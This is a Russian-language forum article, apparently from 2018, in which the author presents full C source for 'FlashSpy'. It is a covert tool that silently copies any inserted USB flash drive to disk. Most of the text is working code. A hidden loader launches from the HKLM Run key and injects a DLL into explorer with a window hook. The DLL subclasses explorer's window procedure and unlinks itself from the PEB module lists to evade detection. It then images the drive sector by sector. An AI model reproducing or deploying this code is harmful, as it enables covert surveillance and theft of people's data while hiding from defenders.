Cogitations poenam nemo patiturКак-то, несколько лет назад (2002 год, за кодес не ругайте), когда я еще только изучал платформу WinNT (переходил с Win98) и, понятное дело, опыта написания софта под эту платформу было ноль, был заказ на приватный «инструмент», блокирующий работу USB флэш-накопителей на ПК секретаря одной фирмы. Видимо было подозрение на то, что кто-то «уносит домой» (а может и не совсем домой) важные (по тем временам м/б криминальные-
(лат.) Никто не несет наказания за мысли
(c)sysenter 2002
JID: sysenter@jabber.noсведения, касающиеся клиентской базы, базы поставщиков, внутренних прайсов и тому подобное. Так как USB Flash Drive тогда только появились (как и Windows XP), то подобных инструментов просто не существовало. Доступа к интернету на компьютере не было, а CD-RW считались роскошью. Самый большой объем USB Flash Drive, которую я держал в руках был 32 Мб (Были времена еще те).
Пришлось разработать примитивный софт, перехватывающий момент подключения неизвестной флэшки и выключающий при этом монитор и USB. Но заказчики посчитали, что оборона – не для них и добавили требование о полном копировании уже имеющегося содержимого флэш-накопителя на HDD, для «более глубокой контрразведки». Все было реализовано в виде одной DLL, внедряющейся в процесс оболочки explorer при помощи системного хука.
Здесь будет рассмотрен не полный вариант, отлавливающий момент подключения USB флэш накопителя только один раз и создающий на HDD RAW iso образ только корневого раздела флэшки со всеми имеющимися на ней данными. Здесь не будет проверятся по серийному номеру разрешенный накопитель подсоединился или нет.
Алгоритм работы:
После всего этого с iso – образом можно работать утилитами типа UltraISO и ей подобных (но не всеми, я предпочитаю WinHEX) и восстанавливать, по-возможности, ранее затертые на флешке файлы.
- Внедрение в оболочку explorer при помощи установки хука на события (выполняет отдельная программа, запускающаяся из ветки HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run при загрузке, посредством простой загрузки библиотеки в свое адресное пространство);
- Перехват функцией обработки хука первого системного события изменения конфигурации оборудования ПК со снятием хука и установки своего субобработчика оконных событий explorer.
- Перехват субобработчиком оконных событий explorer события изменения аппаратной конфигурации системы, с проверкой этих изменений.
- Если изменения в конфигурации аппаратуры ПК вызваны съемным носителем (коим является флэш) – снятие обработчика и запуск отдельного потока создания образа флешки.
- По завершению потока создания образа, DLL автоматически выгружается загрузчиком ядра Windows как более ненужная (хук мы сняли, оконный обработчик тоже, поэтому система считает эту библиотеку более не нужной, правда не всегда).
Итак, поехали. Условимся, что наша dll будет обзываться FSP.dll. Сначала пишем простейший загрузчик, который будет что и делать – это только загружать нашу dll в свое адресное пространство, ждать 10 сек (пока хук не прицепится к оболочке) и выгружаться. Для этого нужно создать проект, не имеющий окна (что бы никто ничего не заподозрил) в любой среде программирования, и
прописать там последовательно в WinMain следующие Win32 API функции (далее будет использован синтаксис Си с упором на начинающих):
Все, загрузчик готов, основная работа будет в dll. После выполнения данного кода наша библиотека будет находиться в адресном пространстве процесса загрузчика, а затем и стандартной оболочки Windows explorer, т.к. в ф-цию DllMain, выполняющуюся при отображении dll в какое – либо адресное пространство мы поместим соответствующий код, реализующий это.Код (Text):
LoadLibrary(“FSP.dll”); // Загружаем dll Sleep (10000); //Ждем 10 сек; ExitProcess (0); //Выходим.
Для дальнейшей работы рекомендую MS Visual Studio с установленным SP и желательно для удобства VisualAssistX, т.к. системное программирование не приемлет всяких там MFC, .NET, BCL, CRT и прочей ООП-муры и базируется только на чистом Win32 и Native API.
Типа кодес
Строго не судите - я тогда только экспериментировал в те годы.Код (C):
header.h #pragma once #define _WIN32_WINNT 0x0501 #define WIN32_LEAN_AND_MEAN #define _USER_MODE #pragma comment(linker, "/ENTRY:DllMain") #pragma warning(disable:4078) #pragma warning(disable:4237) #pragma warning(disable:4254) #pragma comment(linker, "/nodefaultlib:msvcrt.lib") #pragma comment(linker, "/MERGE:.rdata=.FGP") #pragma comment(linker, "/MERGE:.text=.FGP") #pragma comment(linker,"/SECTION:.FGP,RW") #include <stdio.h> #include <windows.h> #include <ntundoc.h> #include <winioctl.h> #include <dbt.h> // Shared DATA #pragma data_seg(".FSP") volatile static bool F_STOP=false; volatile static bool flag=false; volatile static bool Gflag=false; volatile static HWND Expl=NULL; static CRITICAL_SECTION CS; #pragma data_seg() #pragma comment(linker, "/SECTION:.FSP,RWS") HMODULE hm=NULL; //Хендл модуля LONG ResultSWL=0; //Новый адрес обработчика окна (SetWindowLong) HHOOK hhook=NULL; //extern "C" PEB* _stdcall RtlGetCurrentPeb(void); HHOOK (WINAPI* LSetWindowsHook)(int,HOOKPROC,HINSTANCE,DWORD); BOOL (WINAPI* LUnhookWindowsHookEx)(HHOOK); LONG (WINAPI* LSetWindowLong)(HWND,int,LONG); //Вывод ошибки void Error(UINT err_code) { char er[MAX_PATH]={'/0'}; sprintf(er,"Error 0x%lX. Please report error code to autor:\n\tE-mail: sysenter@mail.ru",err_code); MessageBox(NULL,er,"Flash Spy-Guard Pro v 1.0d (Error)",0); } //Выгрузка, если копирование начато void RemoveFSPH(void) { if(ResultSWL!=-1) { SetLastError(0); LSetWindowLong=(LONG(WINAPI*)(HWND,int,LONG))GetProcAddress(GetModuleHandle("user32.dll"),"SetWindowLongA"); if(!SetWindowLong(Expl,GWL_WNDPROC,ResultSWL) && !GetLastError()) { Error(4); return; } ResultSWL=-1; } if(hhook!=NULL) { LUnhookWindowsHookEx=(BOOL(WINAPI*)(HHOOK))GetProcAddress(GetModuleHandle("user32.dll"),"UnhookWindowsHookEx"); LUnhookWindowsHookEx(hhook); CloseHandle(hhook); } Gflag=false; hhook=NULL; //flag=false; } //Копирование посекторно (выполняется в отдельном потоке) inline bool DiskRAWCopy(LPCSTR Sdisk,LPCSTR Dfold) { char Fdisk[MAX_PATH]="\\\\.\\"; char Serial[MAX_PATH]={'\0'}; DWORD DriveSerial=0; DWORD dwFileSystemFlags = 0; strncat(Fdisk,Sdisk,2); char tmpstr[]="(?)Flash.iso"; tmpstr[1]=*Sdisk; GetVolumeInformation(Sdisk,NULL,0,&DriveSerial,NULL,&dwFileSystemFlags,NULL,0); sprintf(Serial,"%d",DriveSerial); HANDLE hFlash = CreateFile(Fdisk,GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE|FILE_SHARE_DELETE,NULL,OPEN_EXISTING,FILE_FLAG_SEQUENTIAL_SCAN,NULL); if(INVALID_HANDLE_VALUE == hFlash) goto __err; DWORD TmpVar=0; VOLUME_DISK_EXTENTS VDE; DeviceIoControl(hFlash,IOCTL_VOLUME_GET_VOLUME_DISK_EXTENTS,NULL,0,&VDE, sizeof(VDE),&TmpVar,(LPOVERLAPPED) NULL); CloseHandle(hFlash); Fdisk[4]='\0'; strncat(Fdisk,"PhysicalDrive",13); char u[2]={'\0'}; sprintf(u,"%d",VDE.Extents->DiskNumber); strncat(Fdisk,u,strlen(u)); hFlash=INVALID_HANDLE_VALUE; hFlash = CreateFile(Fdisk, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_DEVICE, NULL ); if(INVALID_HANDLE_VALUE == hFlash) goto __err; PARTITION_INFORMATION PartInfo; DWORD Ret; DeviceIoControl(hFlash, IOCTL_DISK_GET_PARTITION_INFO, NULL, 0, &PartInfo, sizeof(PartInfo), &Ret, NULL ); DISK_GEOMETRY pdg; DeviceIoControl(hFlash,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,&pdg, sizeof(pdg),&TmpVar,(LPOVERLAPPED) NULL); //ULONGLONG DiskSize =PartInfo.PartitionLength.QuadPart; или pdg.Cylinders.QuadPart *pdg.TracksPerCylinder *pdg.SectorsPerTrack *pdg.BytesPerSector; Fdisk[4]='\0'; strncat(Fdisk,Dfold,strlen(Dfold)); strncat(Fdisk,Serial,strlen(Serial)); strncat(Fdisk,tmpstr,strlen(tmpstr)); HANDLE hVirtual = CreateFile(Fdisk,GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE|FILE_SHARE_DELETE,NULL,CREATE_ALWAYS,FILE_FLAG_SEQUENTIAL_SCAN,NULL); if(INVALID_HANDLE_VALUE == hVirtual) goto __err; DWORD BlockSize=pdg.BytesPerSector*pdg.SectorsPerTrack; DWORD TrackSize=pdg.TracksPerCylinder*BlockSize; char* buffer=(char*)LocalAlloc(LMEM_ZEROINIT,BlockSize); DWORD bytes=0; LONG Poz=0; for(DWORD Cil=0;pdg.Cylinders.QuadPart>=Cil;Cil++) { if(F_STOP) { //RemoveFSPH(NULL); break; } else { TmpVar=Cil*TrackSize; for(DWORD Track=0;pdg.TracksPerCylinder>=Track && Poz<=PartInfo.PartitionLength.QuadPart;Track++) { if(F_STOP) { //RemoveFSPH(NULL); break; } else { Poz=TmpVar+Track*BlockSize; SetFilePointer(hFlash,Poz,NULL,FILE_BEGIN); if( !ReadFile(hFlash, buffer, BlockSize, &bytes, NULL) ) goto __er; SetFilePointer(hVirtual,Poz,NULL,FILE_BEGIN); if( !WriteFile(hVirtual, buffer,BlockSize, &bytes, NULL) ) goto __er; } } } } CloseHandle(hFlash); CloseHandle(hVirtual); LocalFree(buffer); return true; __er: LocalFree(buffer); __err: CloseHandle(hFlash); CloseHandle(hVirtual); return false; } //Export-команда на выгрузку void FSPH(void) { F_STOP=true; PostMessage(Expl,WM_PAINT,0,0); if(ResultSWL!=-1) { SetLastError(0); if(!SetWindowLong(Expl,GWL_WNDPROC,ResultSWL) && !GetLastError()) { Error(3); return; } ResultSWL=-1; } } bool HideDll(HMODULE HDll) { LIST_ENTRY LIST_ENTRY1; LDR_MODULE* LDR_MODULE1; LDR_MODULE* LDR_MODULE2; PEB* PEB1; __asm { mov eax, dword ptr fs:[0x00000018] mov eax,dword ptr [eax+0x30] mov PEB1,eax } //PEB1=RtlGetCurrentPeb(); while(!PEB1->LdrData->Initialized) Sleep(0); LIST_ENTRY1=PEB1->LdrData->InLoadOrderModuleList; LDR_MODULE1=(_LDR_MODULE *)LIST_ENTRY1.Flink; LIST_ENTRY LIST_ENTRY0; LIST_ENTRY* LIST_ENTRYA=LIST_ENTRY1.Blink; //PLDR_DATA_TABLE_ENTRY mod; do{ Sleep(0); LIST_ENTRY1=*LIST_ENTRY1.Flink; LDR_MODULE1=(_LDR_MODULE *)LIST_ENTRY1.Flink; if(LDR_MODULE1->BaseAddress==HDll) { LDR_MODULE2=LDR_MODULE1; LIST_ENTRY0=*LIST_ENTRY1.Flink; } }while(LIST_ENTRYA!=LIST_ENTRY1.Flink); if(LDR_MODULE2->BaseAddress!=HDll) return false; DWORD P=0; if(VirtualProtect((LPVOID)LIST_ENTRYA,4,PAGE_READWRITE, &P)) { LIST_ENTRY* LIST_ENTRYF; LIST_ENTRY* LIST_ENTRYB; LIST_ENTRYF=LIST_ENTRY0.Flink; LIST_ENTRYB=LIST_ENTRY0.Blink; LIST_ENTRYB->Flink=LIST_ENTRYF; LIST_ENTRYF->Blink=LIST_ENTRYB; //?????? LDR_MODULE2->HashTableEntry.Flink->Blink = LDR_MODULE2->HashTableEntry.Blink; LDR_MODULE2->HashTableEntry.Blink->Flink = LDR_MODULE2->HashTableEntry.Flink; RtlZeroMemory(&LDR_MODULE2->BaseAddress,sizeof(DWORD)); RtlZeroMemory(&LDR_MODULE2->FullDllName,sizeof(LDR_MODULE1->FullDllName)); RtlZeroMemory(&LDR_MODULE2->BaseDllName,sizeof(LDR_MODULE1->BaseDllName)); RtlZeroMemory(&LDR_MODULE2->TimeDateStamp,sizeof(DWORD)); RtlZeroMemory(&LDR_MODULE2->SizeOfImage,sizeof(DWORD)); LIST_ENTRY0=LDR_MODULE2->InMemoryOrderModuleList; LIST_ENTRYF=LIST_ENTRY0.Flink; LIST_ENTRYB=LIST_ENTRY0.Blink; LIST_ENTRYB->Flink=LIST_ENTRYF; LIST_ENTRYF->Blink=LIST_ENTRYB; LIST_ENTRY0=LDR_MODULE2->InInitializationOrderModuleList; LIST_ENTRYF=LIST_ENTRY0.Flink; LIST_ENTRYB=LIST_ENTRY0.Blink; LIST_ENTRYB->Flink=LIST_ENTRYF; LIST_ENTRYF->Blink=LIST_ENTRYB; } else return false; VirtualProtect((LPVOID)&LIST_ENTRY0,sizeof(LDR_MODULE2),P, &P); return true; } #include "header.h" //Буква диска по битовой маске inline char FirstDriveFromMask (ULONG unitmask) { char i; for (i = 0; i < 26; ++i) { if (unitmask & 0x1) break; unitmask = unitmask >> 1; } return (i + 'A'); } //Копируем все файлы с флешки //в заданую директорию в отдельном потоке DWORD __stdcall COPY(LPVOID dn) { DiskRAWCopy((char*)dn,"I:\\"); return 0; } //APC Оконного обработчика (реакция на новое оборудование) LRESULT CALLBACK WinProc(HWND hwnd,UINT uMsg, WPARAM wParam, LPARAM lParam) { if(F_STOP) { RemoveFSPH(); return 0; } else { if(uMsg==WM_DEVICECHANGE) { if (wParam==DBT_DEVICEARRIVAL) { if (((DEV_BROADCAST_HDR*)lParam)->dbch_devicetype==DBT_DEVTYP_VOLUME) { if (((DEV_BROADCAST_VOLUME*)lParam)->dbcv_flags!=DBTF_MEDIA && ((DEV_BROADCAST_VOLUME*)lParam)->dbcv_flags!=DBTF_NET) { char DriveName[4]={'?',':','\\','\0'}; DriveName[0]=FirstDriveFromMask(((DEV_BROADCAST_VOLUME*)lParam)->dbcv_unitmask); if (GetDriveType(DriveName)==2) { DriveName[2]='\0'; SetThreadPriority(CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)COPY,(LPVOID)DriveName,0,NULL),THREAD_PRIORITY_NORMAL); } } } } } } return CallWindowProcA((WNDPROC)ResultSWL,hwnd, uMsg, wParam, lParam); } //Ставим свой оконный обработчик при первом изменении //в оборудовании ПК, так менее накладно LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam) { if (nCode < 0) return CallNextHookEx(hhook, nCode,wParam, lParam); EnterCriticalSection(&CS); if (((PMSG)lParam)->message==WM_DEVICECHANGE) { if (!flag) { flag=true; LSetWindowLong=(LONG(WINAPI*)(HWND,int,LONG))GetProcAddress(GetModuleHandle("user32.dll"),"SetWindowLongA"); SetLastError(0); ResultSWL=LSetWindowLong(((PMSG)lParam)->hwnd,GWL_WNDPROC,(LONG)WinProc); if(!ResultSWL && !GetLastError()) {Error(5); LeaveCriticalSection(&CS);return CallNextHookEx(hhook, nCode, wParam, lParam);} Expl=((PMSG)lParam)->hwnd; HideDll(hm); } } LeaveCriticalSection(&CS); return CallNextHookEx(hhook, nCode, wParam, lParam); } //Загрузка, выгрузка dll BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { hm=(HMODULE)hModule; switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: InitializeCriticalSection(&CS); break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; case DLL_PROCESS_DETACH: F_STOP=true; DeleteCriticalSection(&CS); break; } if(hModule!=0) return true; else return false; } //Export-запуск слежения за изменением оборудования unsigned char FSPH_(void) { ResultSWL=NULL; Expl=NULL; F_STOP=false; if(!Gflag) { HMODULE hu32=GetModuleHandle("user32.dll"); if (hu32==NULL) hu32=LoadLibrary("user32.dll"); LSetWindowsHook=(HHOOK (WINAPI*)(int,HOOKPROC,HINSTANCE,DWORD))GetProcAddress(hu32,"SetWindowsHookExA"); hhook = LSetWindowsHook(WH_GETMESSAGE,HookProc,(HINSTANCE)hm,GetWindowThreadProcessId(GetShellWindow(),NULL)); if(hhook!=NULL){Gflag=true;}else{Error(2);return false;} } return true; }
FlashSpy
Дата публикации 8 янв 2018
| Редактировалось 10 янв 2018
сведения, касающиеся клиентской базы, базы поставщиков, внутренних прайсов и тому подобное. Так как USB Flash Drive тогда только появились (как и Windows XP), то подобных инструментов просто не существовало. Доступа к интернету на компьютере не было, а CD-RW считались роскошью. Самый большой объем USB Flash Drive, которую я держал в руках был 32 Мб (Были времена еще те).